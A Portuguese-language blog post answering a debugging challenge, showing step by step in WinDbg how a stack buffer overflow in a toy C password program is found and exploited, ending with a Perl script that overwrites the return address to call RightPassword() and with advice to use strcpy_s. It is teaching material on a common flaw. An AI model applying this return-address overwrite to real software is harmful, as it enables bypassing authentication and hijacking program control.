Resposta ao Desafio da Semana #9 [Crash - Como Explorar um Buffer Overflow]
Por: Roberto Alexis Farah
https://blogs.technet.com/latam/archive/2006/08/04/445005.aspx
Agora eis a resposta…
PROBLEMA
O problema é bastante claro, um buffer overflow pode ocorrer no código. Agora, como explorá-lo para chamar a rotina RightPassword() mesmo sem saber a senha correta?
Vamos lá... no caso, usei apenas WinDbg (minha ferramenta favorita! J), mesmo para disassemblar o código.
Não entrarei no mérito de comandos Windbg, explicação detalhada de código disassemblado, etc... irei direto ao ponto, até porque não quero estimular os hackers de plantão. J
Utilizando Visual C++ 6.0 com aplicação compilada como DEBUG temos...
Código disassemblado de main(), como estou usando símbolos (PDB) temos a relação da linha de código fonte mas isso não é absolutamente nada necessário numa situação real. De fato, poderia ter usado a versão RELEASE sem símbolos, entretanto, seria menos didático para a demonstração:
BufferOverflow!main [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 16]:
16 00401030 55 push ebp
16 00401031 8bec mov ebp,esp
16 00401033 83ec4c sub esp,4Ch ß Espaço para variáveis locais.
16 00401036 53 push ebx
16 00401037 56 push esi
16 00401038 57 push edi
16 00401039 8d7db4 lea edi,[ebp-4Ch]
16 0040103c b913000000 mov ecx,13h
16 00401041 b8cccccccc mov eax,0CCCCCCCCh
16 00401046 f3ab rep stos dword ptr es:[edi]
17 00401048 837d0802 cmp dword ptr [ebp+8],2
17 0040104c 740d je BufferOverflow!main+0x2b (0040105b)
BufferOverflow!main+0x1e [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 19]:
19 0040104e 6828204200 push offset BufferOverflow!`string' (00422028)
19 00401053 e888020000 call BufferOverflow!printf (004012e0)
19 00401058 83c404 add esp,4
BufferOverflow!main+0x2b [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 26]:
26 0040105b 8b450c mov eax,dword ptr [ebp+0Ch]
26 0040105e 8b4804 mov ecx,dword ptr [eax+4]
26 00401061 51 push ecx
26 00401062 8d55f4 lea edx,[ebp-0Ch]
26 00401065 52 push edx
26 00401066 e885010000 call BufferOverflow!strcpy (004011f0)
26 0040106b 83c408 add esp,8
28 0040106e 681c204200 push offset BufferOverflow!`string' (0042201c)
28 00401073 8d45f4 lea eax,[ebp-0Ch]
28 00401076 50 push eax
28 00401077 e8e4000000 call BufferOverflow!strcmp (00401160)
28 0040107c 83c408 add esp,8
28 0040107f 85c0 test eax,eax
28 00401081 7507 jne BufferOverflow!main+0x5a (0040108a)
BufferOverflow!main+0x53 [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 30]:
30 00401083 e87dffffff call BufferOverflow!ILT+0(?RightPasswordYAXXZ) (00401005)
32 00401088 eb05 jmp BufferOverflow!main+0x5f (0040108f)
BufferOverflow!main+0x5a [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 34]:
34 0040108a e880ffffff call BufferOverflow!ILT+10(?WrongPasswordYAXXZ) (0040100f)
BufferOverflow!main+0x5f [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 37]:
37 0040108f 33c0 xor eax,eax
38 00401091 5f pop edi
38 00401092 5e pop esi
38 00401093 5b pop ebx
38 00401094 83c44c add esp,4Ch
38 00401097 3bec cmp ebp,esp
38 00401099 e8c2020000 call BufferOverflow!_chkesp (00401360)
38 0040109e 8be5 mov esp,ebp
38 004010a0 5d pop ebp
38 004010a1 c3 ret
Note que do espaço para variáveis locais, que inclui o buffer para receber a senha:
0x4c = 76 em decimal
Entretanto, as variáveis locais comecam em ebp-0x4 quando não há Frame Pointer Optimization (FPO) logo, devemos
subtrair 0x4c de 0x4 = 0x48 = 0n72 em decimal. Isso é a área bruta para variáveis locais.
Durante a resolução vamos considerar que nunca vimos o código fonte.
Continuando, na pilha temos, sempre que não usando FPO (do contrário ESP é usado, mas não é constante):
ebp
ebp+0x4 ß Endereço de retorno
ebp+0x8 ß Primeiro parâmetro em diante...
ebp-0x4 ß Primeira variável local se tamanho não for maior que um DWORD.
Em caso de uma string o parâmetro pode ser maior... no nosso caso e'
ebp-0xc.
Logo, se há um estouro de buffer (buffer overflow) o primeiro endereço a ser sobreescrito é justamente o endereço
EBP (stack frame) seguido pelo endereço de retorno EBP+4.
Durante a depuração temos (mapeie com o código disassemblado mais acima):
00401058 83c404 add esp,4
0040105b 8b450c mov eax,dword ptr [ebp+0Ch]
0040105e 8b4804 mov ecx,dword ptr [eax+4]
00401061 51 push ecx
00401062 8d55f4 lea edx,[ebp-0Ch] ß Localização do buffer onde a string será copiada.
00401065 52 push edx ßParei aqui! Os parâmetros para strcpy()
00401066 e885010000 call BufferOverflow!strcpy (004011f0)
0040106b 83c408 add esp,8
eax=00321190 ebx=7ffd9000 ecx=00000000 edx=0012ff74 esi=7c9118f1 edi=0012ff80
eip=00401065 esp=0012ff24 ebp=0012ff80 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
BufferOverflow!main+0x35:
00401065 52 push edx
Eis a pilha:
ChildEBP RetAddr
0012ff80 00401489 BufferOverflow!main+0x35
0012ffc0 7c816d4f BufferOverflow!mainCRTStartup+0xe9
0012fff0 00000000 kernel32!BaseProcessStart+0x23
Eis a pilha sob outro ângulo:
0012ff80 0012ffc0 ß ebp
0012ff84 00401489 BufferOverflow!mainCRTStartup+0xe9 ß ebp+0x4
0012ff88 00000002 ß ecx
0012ff8c 00321190 ß eax
0012ff90 00321288 ß edx
0012ff94 00eef558 ß edi
0012ff98 00000182 ß esi
0012ff9c 7ffdd000
0012ffa0 00000001
0012ffa4 00000001
0012ffa8 0012ff94
0012ffac ad38fd08
0012ffb0 0012ffe0
0012ffb4 00404450 BufferOverflow!_except_handler3
Ainda outra visão da pilha (stack):
0012ff84 00401489 00000002 00321190 00321288
0012ff94 00eef558 00000182 7ffdf000 00000001
0012ffa4 00000001 0012ff94 af104d08 0012ffe0
0012ffb4 00404450 004221c0 00000000 0012fff0
Nesse ponto tempos:
ecx = "1234567899999" ß Parâmetro via linha de comando.
ebp-0xc = buffer, primeiro parâmetro de _tcscpy()
Com os valores acima nosso overflow vai apenas sobreescrever variáveis locais se houverem mas talvez não seja suficiente para atingirmos nosso objetivo ebp+4 o endereço de retorno.
Agora vamos reexecutar a aplicação usando suficiente número de bytes para invadir o buffer com margem de sobra. Obviamente como não sabemos se a aplicação preve isso nem o tamanho que aceita, tentamos com uma entrada grande o suficiente mas isso poderia ser automatizado via um script...
Eis a linha de comando:
1111111111111111111111111111111111111111111111111111111111111111111111111111
O que esperamos com isso? Checar se a aplicação falha (crash) por causa de um buffer overflow e, após comprovado, sobreescrever ebp+4... vamos ver...
Reexecutando temos:
ebp+0x4:
0012ff84 00401489
ebp:
0012ff80 0012ffc0
Notem a diferença de 4 bytes de ebp e ebp+0x4.
Agora vou parar a execução logo depois da cópia da string de parâmetro (linha de comando) para o buffer interno, onde justamente esse buffer será sobreescrito.
00401062 8d55f4 lea edx,[ebp-0Ch]
00401065 52 push edx
00401066 e885010000 call BufferOverflow!strcpy (004011f0)
0040106b 83c408 add esp,8 ß Parei a execução aqui.
0040106e 681c204200 push offset BufferOverflow!`string' (0042201c)
00401073 8d45f4 lea eax,[ebp-0Ch]
00401076 50 push eax
00401077 e8e4000000 call BufferOverflow!strcmp (00401160)
0040107c 83c408 add esp,8
Eis os registradores:
eax=0012ff74 ebx=7ffdf000 ecx=00321244 edx=fd003131 esi=00000182 edi=0012ff80
eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
BufferOverflow!main+0x3b:
0040106b 83c408 add esp,8
ebp esta correto...mas e ebp+0x4?
ebp+0x4:
0012ff84 31313131 ß Corrompido!!! Representam o código hexadecimal para a linha fornecida como parâmetro.
Eis a pilha a partir de ebp+0x4:
0012ff84 31313131 31313131 31313131 31313131
0012ff94 31313131 31313131 31313131 31313131
0012ffa4 31313131 31313131 31313131 31313131
0012ffb4 31313131 31313131 31313131 0012ff00
0012ffc4 7c816d4f 00eef558 00000182 7ffdf000
0012ffd4 8054a6ed 0012ffc8 88efb020 ffffffff
0012ffe4 7c8399f3 7c816d58 00000000 00000000
0012fff4 00000000 004013a0 00000000 78746341
E o valor dos novos registradores:
eax=0012ff74 ebx=7ffdf000 ecx=00321244 edx=fd003131 esi=00000182 edi=0012ff80
eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
BufferOverflow!main+0x3b:
0040106b 83c408 add esp,8
Notem que a string de caracteres passou demasiadamente o ponto que queríamos... Como sabemos disso?
O conteúdo dos registradores esi, edi, ecx foram corrompidos, ou seja, passamos ebp, passamos ebp+4 e fomos invadindo a memória.
Portanto, vamos reduzir em, digamos 3 DWORDs (4 bytes).
Agora temos:
1111111111111111111111111111111111111111111111111111111111111111
Reexecutando a aplicação com a nova string de entrada temos...
Primeiro vamos ver o buffer ebp-0xc:
0012ff74 0012ff7c ß ebp-0xc
0012ff78 00403138 BufferOverflow!_initterm+0x18
0012ff7c 0012ff8c
0012ff80 0012ffc0 ß ebp
0012ff88 00000002
Importante!!! Há três coisas que confundem muito aqueles aprendendo a fazer depuração radical, portanto vou esclarecer (ou tentar pelo menos J) :
1- A pilha cresce de cima para baixo, ou seja, do maior endereço para o menor endereço. Notem que o endereço de ebp+4 é, por exemplo, maior que ebp.
2- O buffer ao receber dados cresce de baixo para cima, ou seja, na direção oposta a da pilha. Portanto, se 0012ff74 no exemplo acima recebe um valor muito grande vai expandir em direção a 0012ff88.
3- O código disassemblado não tem relação com a pilha. A pilha é como se fosse uma lista ligada que aponta para partes das rotinas mas quando a pilha é afetada o código disassemblado não muda.
Continuando...
0012ff74 0012ff7c ß ebp-0xc buffer que receberá a string.
0012ff78 00403138 BufferOverflow!_initterm+0x18
0012ff7c 0012ff8c
0012ff80 0012ffc0 ß ebp
0012ff84 00401489 BufferOverflow!mainCRTStartup+0xe9 ß endereço de retorno, ebp+0x4
0012ff88 00000002
0012ff8c 00321190
0012ff90 00321278
0012ff94 00eef558
0012ff98 0000016a
0012ff9c 7ffd6000
0012ffa0 00000001
0012ffa4 00000001
0012ffa8 0012ff94
0012ffac b1755d08
0012ffb0 0012ffe0
0012ffb4 00404450 BufferOverflow!_except_handler3
0012ffb8 004221c0 BufferOverflow!`string'+0xe0
Vamos parar a execução no ponto abaixo:
00401065 52 push edx
00401066 e885010000 call BufferOverflow!strcpy (004011f0)
0040106b 83c408 add esp,8 ß Parei aqui.
Eis a mesma pilha agora com o buffer preenchido pela string recebida como parâmetro:
0012ff80 31313131 ß ebp
0012ff84 31313131 ß ebp+0x4
0012ff88 31313131 ß A partir daqui passamos!
0012ff8c 31313131
0012ff90 31313131
0012ff94 31313131
0012ff98 31313131
0012ff9c 31313131
0012ffa0 31313131
0012ffa4 31313131
0012ffa8 31313131
0012ffac 31313131
0012ffb0 31313131
0012ffb4 00404400 BufferOverflow!_NLG_Return2+0xe
0012ffb8 004221c0 BufferOverflow!`string'+0xe0
Note que depurando podemos medir o quanto invadimos a pilha. Isso é fundamental para explorarmos a falha de segurança!
Registradores nesse momento:
eax=0012ff74 ebx=7ffd7000 ecx=00321238 edx=fd003131 esi=0000016a edi=0012ff80
eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
BufferOverflow!main+0x3b:
0040106b 83c408 add esp,8
0012ff80 31313131 31313131 31313131 31313131
0012ff90 31313131 31313131 31313131 31313131
0012ffa0 31313131 31313131 31313131 31313131
0012ffb0 31313131 00404400 004221c0 00000000
0012ffc0 0012fff0 7c816d4f 00eef558 0000016a
0012ffd0 7ffd7000 8054a6ed 0012ffc8 88dfc2a0
0012ffe0 ffffffff 7c8399f3 7c816d58 00000000
0012fff0 00000000 00000000 004013a0 00000000
Agora estamos quase lá!! Sabemos, usando força-bruta que:
1- A aplicação aceita valores acima do que deveria, prova disso é que invadimos a pilha e causamos um crash.
2- Sabemos o quanto estamos invadindo da pilha e que queremos sobreescrever até 0012ff84 apenas.
Portanto, cada linha tem 4 bytes, logo, quatro caracters já que a aplicação foi compilada como ASCII, com isso
devemos reduzir a entrada em 44 caracteres, logo, devemos usar:
11111111111111111111 ß 20 caracteres.
Reexecutando temos:
0012ff80 31313131
0012ff84 31313131 ß YYYYEEESSSSSSSS! J
0012ff88 00000000
0012ff8c 00321190
0012ff90 00321248
0012ff94 00eef558
0012ff98 00000112
0012ff9c 7ffd6000
0012ffa0 00000001
0012ffa4 00000001
0012ffa8 0012ff94
0012ffac adf9bd08
0012ffb0 0012ffe0
0012ffb4 00404450 BufferOverflow!_except_handler3
0012ffb8 004221c0 BufferOverflow!`string'+0xe0
Lindo, né gente? Alcançamos o exato ponto para sobreescrever ebp+0x4.
<AVISO>
O propósito desse desafio é só ilustrar o perigo de uma falha de segurança muito comum em aplicações escritas em C ou C++ e dar uma idéia mais detalhada de como um buffer overflow é explorado.
Após publicar o desafio, na semana passada, me perguntaram porque não escrevo um artigo sobre como fazer um crack de software.
Isso não seria nada construtivo por diversas razões, portanto, não escreverei sobre isso.
</AVISO>
Agora... porque esse foco em ebp+0x4? Porque, como mencionei, é o endereço de retorno, ou seja, quando uma rotina é chamada o endereço da próxima instrução logo após a chamada da rotina é salvo, assim, ao final da execução da rotina, o fluxo de execução caminha para a próxima instrução.
Logo, imagine se esse endereço de retorno tivesse o endereço da função que habilita a senha... observem que o endereço é facilmente extraido do código disassemblado!
Se isso fosse conseguido a rotina de senha correta seria chamada automaticamente ao final da execução!
Mas como isso pode ser feito? Enviando-se o código de máquina junto da string que ocasiona o buffer overflow!
Primeiro vamos pegar o endereço da rotina de senha correta:
00401083 e87dffffff call BufferOverflow!ILT+0(?RightPasswordYAXXZ) (00401005) ß Eis!
00401088 eb05 jmp BufferOverflow!main+0x5f (0040108f)
0040108a e880ffffff call BufferOverflow!ILT+10(?WrongPasswordYAXXZ) (0040100f)
0040108f 33c0 xor eax,eax
Rotina:
BufferOverflow!RightPassword [C:\Development\My Tools\BLOG Articles\Article #14\BufferOverflow\BufferOverflow.cpp @ 44]:
44 004010c0 55 push ebp
44 004010c1 8bec mov ebp,esp
44 004010c3 83ec40 sub esp,40h
44 004010c6 53 push ebx
44 004010c7 56 push esi
44 004010c8 57 push edi
44 004010c9 8d7dc0 lea edi,[ebp-40h]
44 004010cc b910000000 mov ecx,10h
44 004010d1 b8cccccccc mov eax,0CCCCCCCCh
44 004010d6 f3ab rep stos dword ptr es:[edi]
45 004010d8 6850204200 push offset BufferOverflow!`string' (00422050)
45 004010dd e8fe010000 call BufferOverflow!printf (004012e0)
45 004010e2 83c404 add esp,4
46 004010e5 5f pop edi
46 004010e6 5e pop esi
46 004010e7 5b pop ebx
46 004010e8 83c440 add esp,40h
46 004010eb 3bec cmp ebp,esp
46 004010ed e86e020000 call BufferOverflow!_chkesp (00401360)
46 004010f2 8be5 mov esp,ebp
46 004010f4 5d pop ebp
46 004010f5 c3 ret
Ok... alguém poderia perguntar como saber se essa é a rotina sem ter indicação do nome... resposta: depurando ou simplesmente analisando a listagem do código disassemblado.
Portanto, para finalizar, temos que passar um buffer de 20 caracteres onde os últimos 8 bytes são:
90 90 90 90 00 40 10 05
Que se traduz em instruções NOP para sobreescrever EBP (isso não é necessário, é apenas para ficar fácil visualizar) e, em seguida, o endereço da instrução.
Como fazer isso?
Para isso devemos usar Perl e criar um script como:
$arg = "111111111111"."\x90\x90\x90\x90\x00\x40\x10\x05";
$cmd = "bufferoverflow.exe ".$arg;
system($cmd);
Note que o endereço é invertido porque com x86 os valores são colocados na memória (little-endian) do byte menos significativo para o mais significativo.
Ok, usando essa abordagem nós fazemos com que o endereço de retorno chame a rotina de senha correta. Após a chamada haverá um crash de aplicação porque o valor de ebp é inválido, mas isso não importa mais porque a invasão foi feita!
Esse exemplo é bem simples mas ilustra o conceito.
Eis a depuração usando a exploração via Perl:
00401062 8d55f4 lea edx,[ebp-0Ch]
00401065 52 push edx ß Primeira parada. (breakpoint)
00401066 e885010000 call BufferOverflow!strcpy (004011f0)
0040106b 83c408 add esp,8 ß Segunda parada. (breakpoint)
0040106e 681c204200 push offset B
Para a primeira parada acima temos:
eax=00321190 ebx=7ffd7000 ecx=003211f6 edx=0012ff74 esi=00000112 edi=0012ff80
eip=00401065 esp=0012ff24 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
BufferOverflow!main+0x35:
00401065 52 push edx
0012ff74 cccccccc ß Buffer onde a string será colocada.
0012ff78 cccccccc
0012ff7c cccccccc
0012ff80 0012ffc0 ß ebp
0012ff84 00401489 BufferOverflow!mainCRTStartup+0xe9 ß ebp+0x4
Na segunda parada temos:
eax=0012ff74 ebx=7ffd7000 ecx=0032120c edx=fd003535 esi=00000112 edi=0012ff80
eip=0040106b esp=0012ff20 ebp=0012ff80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
BufferOverflow!main+0x3b:
0040106b 83c408 add esp,8
0012ff74 31313131 ß Buffer... conteúdo e' "111111...."
0012ff78 31313131
0012ff7c 31313131
0012ff80 90909090 ß ebp
0012ff84 00401005 BufferOverflow!ILT+0(?RightPasswordYAXXZ) ß ebp+0x4 Lindo né, gente?
Continuando a depuração temos...
00401092 5e pop esi ß Breakpoint aqui.
00401093 5b pop ebx
00401094 83c44c add esp,4Ch
00401097 3bec cmp ebp,esp
00401099 e8c2020000 call BufferOverflow!_chkesp (00401360)
0040109e 8be5 mov esp,ebp
004010a0 5d pop ebp
esp = 12ff34
Mas após "add esp, 4Ch" temos:
esp = 12ff80
que contém:
0012ff80 90909090 ß antigo ebp resgatado. Lembram-se dos 0x90 que colocamos?
Agora vamos executar:
00401099 e8c2020000 call BufferOverflow!_chkesp (00401360)
0040109e 8be5 mov esp,ebp
004010a0 5d pop ebp
004010a1 c3 ret ß Estamos nesse ponto.
Nos registradores ebp e ebp+0x4 temos:
0012ff80 90909090 00401005
Após o "ret" acima vamos para:
BufferOverflow!ILT+0(?RightPasswordYAXXZ):
00401005 e9b6000000 jmp BufferOverflow!RightPassword (004010c0)
BufferOverflow!RightPassword:
004010c0 55 push ebp
004010c1 8bec mov ebp,esp
004010c3 83ec40 sub esp,40h
004010c6 53 push ebx
004010c7 56 push esi
004010c8 57 push edi
004010c9 8d7dc0 lea edi,[ebp-40h]
004010cc b910000000 mov ecx,10h
004010d1 b8cccccccc mov eax,0CCCCCCCCh
004010d6 f3ab rep stos dword ptr es:[edi]
004010d8 6850204200 push offset BufferOverflow!`string' (00422050)
004010dd e8fe010000 call BufferOverflow!printf (004012e0)
004010e2 83c404 add esp,4
004010e5 5f pop edi
004010e6 5e pop esi
004010e7 5b pop ebx
004010e8 83c440 add esp,40h
004010eb 3bec cmp ebp,esp
004010ed e86e020000 call BufferOverflow!_chkesp (00401360)
004010f2 8be5 mov esp,ebp
004010f4 5d pop ebp
004010f5 c3 ret
RightPassword() está sendo chamada!!! Exploração bem sucedida!!!
No final da execução temos ebp com o valor inválido sendo usado, haverá o crash:
004010f2 8be5 mov esp,ebp ß ebp = 90909090
004010f4 5d pop ebp
004010f5 c3 ret
ebp+0x4 que e' o valor de retorno = 90909094 ????????
Valores ilegais porque a pilha foi corrompida, embora milimetricamente corrompida! J
eax=00000022 ebx=7ffd7000 ecx=00424a60 edx=00424a60 esi=00000112 edi=00c6f558
eip=00000090 esp=0012ff8c ebp=90909090 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
00000090 ?? ???
Eis a pilha corrompida...
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012ff88 00000000 0x90
Isso gera uma exceção que quebra a aplicação quando não estamos com o depurador conectado como agora:
(78c.17a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000022 ebx=7ffd7000 ecx=00424a60 edx=00424a60 esi=00000112 edi=00c6f558
eip=00000090 esp=0012ff8c ebp=90909090 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
00000090 ?? ???
Portanto, após a chamada da rotina a aplição sofre um crash. Mas a chamada crítica já foi efetuada, ou seja, sem ter a senha correta, apenas explorando uma falha de segurança fizemos com que a rotina que deveria supostamente ser chamada somente com senha certa tenha sido chamada sem conhecimento da senha real!
Como evitar essa falha no código? Utilizando rotinas protegidas. O que? Você pensou em strncpy()? Atente para isso:
“The strncpy function copies the initial count characters of strSource to strDest and returns strDest. If count is less than or equal to the length of strSource, a null character is not appended automatically to the copied string. If count is greater than the length of strSource, the destination string is padded with null characters up to length count. The behavior of strncpy is undefined if the source and destination strings overlap.
Security Note strncpy does not check for sufficient space in strDest; it is therefore a potential cause of buffer overruns. Keep in mind that count limits the number of characters copied; it is not a limit on the size of strDest. See the example below. For more information, see Avoiding Buffer Overruns.”
Em outras palavras, você pode resolver o problema mas ainda está sujeito a falhas como o terminador NULL que nem sempre é colocado. O melhor é usar a variação segura dessa rotina:
https://msdn2.microsoft.com/en-us/library/5dae5d43.aspx
Exemplo:
#include <stdio.h>
#include <stdlib.h>
int main( void )
{
char a[20] = "test";
char s[20];
// simple strncpy usage:
strcpy_s( s, 20, "dogs like cats" );
printf( "Original string:\n '%s'\n", s );
// Here we can't use strncpy_s since we don't
// want null termination strncpy( s, "mice", 4 );
printf( "After strncpy (no null-termination):\n '%s'\n", s );
strncpy( s+5, "love", 4 );
printf( "After strncpy into middle of string:\n '%s'\n", s );
// If we use strncpy_s, the string is terminated.
strncpy_s( s, _countof(s), "mice", 4 );
printf( "After strncpy_s (with null-termination):\n '%s'\n", s );
}
Até o próximo desafio, pessoal!
Comments
- Anonymous
September 08, 2006
Farah,
Muito legal este desafio. Pelo menos passei perto. Eu iria usar um outro programa em C para chamar o programa programaticamente e inserir o opcode de uma int 3 (0xcc) via linha de comando para chamar o debugger quando o problema ocorresse (de dentro do Visual Studio). Eu até tentei mas tive alguns problemas e acabei não testando esta teoria completamente. Sua solução foi mais light. O que você acha desta abordagem?
Este problema foi muito legal e eu fiquei quebrando a cabeça por alguns dias. E você ainda queria uma resposta em meio a uma entrevista. Você é mal! :)
Mas é assim que se aprende. Gostei muito deste desafio. E aproveito para perguntar como é que a gente aprende mais sobre o WindDbg. O que eu sei não dá nem para começo pelo que vejo.
E aqui vai uma sugestão: que tal fazer algum desafio que inclua o debug de managed code (sem o fonte)? A falta de material nesta área é ainda um problema sério. E acredito que como eu, outros leitores iriam aproveitar bastante estas dicas.
Aproveita e visita meu blog (ele não é técnico). - Anonymous
September 08, 2006
Oi Rodney,
Você fez um ótimo comentário sobre usar int 3!
Na abordagem que usei tentei mostrar como identificar o quanto de pilha está sendo invadida e como identificar isso, entretanto, usando 0xCC ao invés de "1111" o depurador ía parar no breakpoint logo que o endereço de retorno fosse executado (alguns livros usam essa abordagem), indicando de modo direto a quantidade de bytes que eu precisaria colocar logo antes do endereço da rotina a ser colocada em ebp+0x4, portanto, minimizando a quantidade de depuração (mas achei que seria menos didático para explicar o processo de invasão da pilha), logo, creio que sua solução também funcionaria sim!
Em relação a depuração de Managed Code e Windbg, coloco aqui uma lista de material, bem completa. De qualquer modo, meu objetivo nos artigos é usar o Windbg apenas para demonstrar melhor a relação de causa e efeito entre problema e sintoma, mas como você pode ver há blogs de outros escalation engineers dedicados a isso, conforme coloco abaixo:
Eis a lista de links sobre Windbg e depuração via SOS.dll:
msdn.microsoft.com/msdnmag/issues/05/07/Debugging/
msdn.microsoft.com/practices/compcat/default.aspx?pull=/library/en-us/dnbda/html/dbgrm.asp
msdn.microsoft.com/msdnmag/issues/05/05/JITCompiler/
Windows Debuggers: Part 1: A WinDbg Tutorial
www.codeproject.com/debug/windbg_part1.asp
Debug Tutorial Part 1: Beginning Debugging Using CDB and NTSD
www.codeproject.com/debug/cdbntsd.asp
Debug Tutorial Part 2: The Stack
www.codeproject.com/debug/cdbntsd2.asp
Debug Tutorial Part 3: The Heap
www.codeproject.com/debug/cdbntsd3.asp
Debug Tutorial Part 4: Writing WINDBG Extensions
www.codeproject.com/debug/cdbntsd4.asp
Debug Tutorial Part 5: Handle Leaks
www.codeproject.com/debug/cdbntsd5.asp
Debug Tutorial Part 6: Navigating The Kernel Debugger
www.codeproject.com/debug/cdbntsd6.asp
Debug Tutorial Part 7: Locks and Synchronization Objects
www.codeproject.com/debug/cdbntsd7.asp
A word for WinDbg
mtaulty.com/communityserver/blogs/mike_taultys_blog/archive/2004/08/03/4656.aspx
Blogs:
blogs.msdn.com/yunjin/
blogs.msdn.com/tess/
blogs.msdn.com/jmstall/
blogs.msdn.com/mvstanton/
blogs.msdn.com/cbrumme/
blogs.msdn.com/maoni/
blogs.msdn.com/toddca/
blogs.msdn.com/suzcook/
Livro:
Debugging Microsoft .NET 2.0 Applications (Pro-Developer) (Paperback)
www.amazon.com/Debugging-Microsoft-NET-Applications-Pro-Developer/dp/0735622027/sr=8-2/qid=1157760897/ref=sr_1_2/103-9328215-6319036?ie=UTF8&s=books
Obrigado!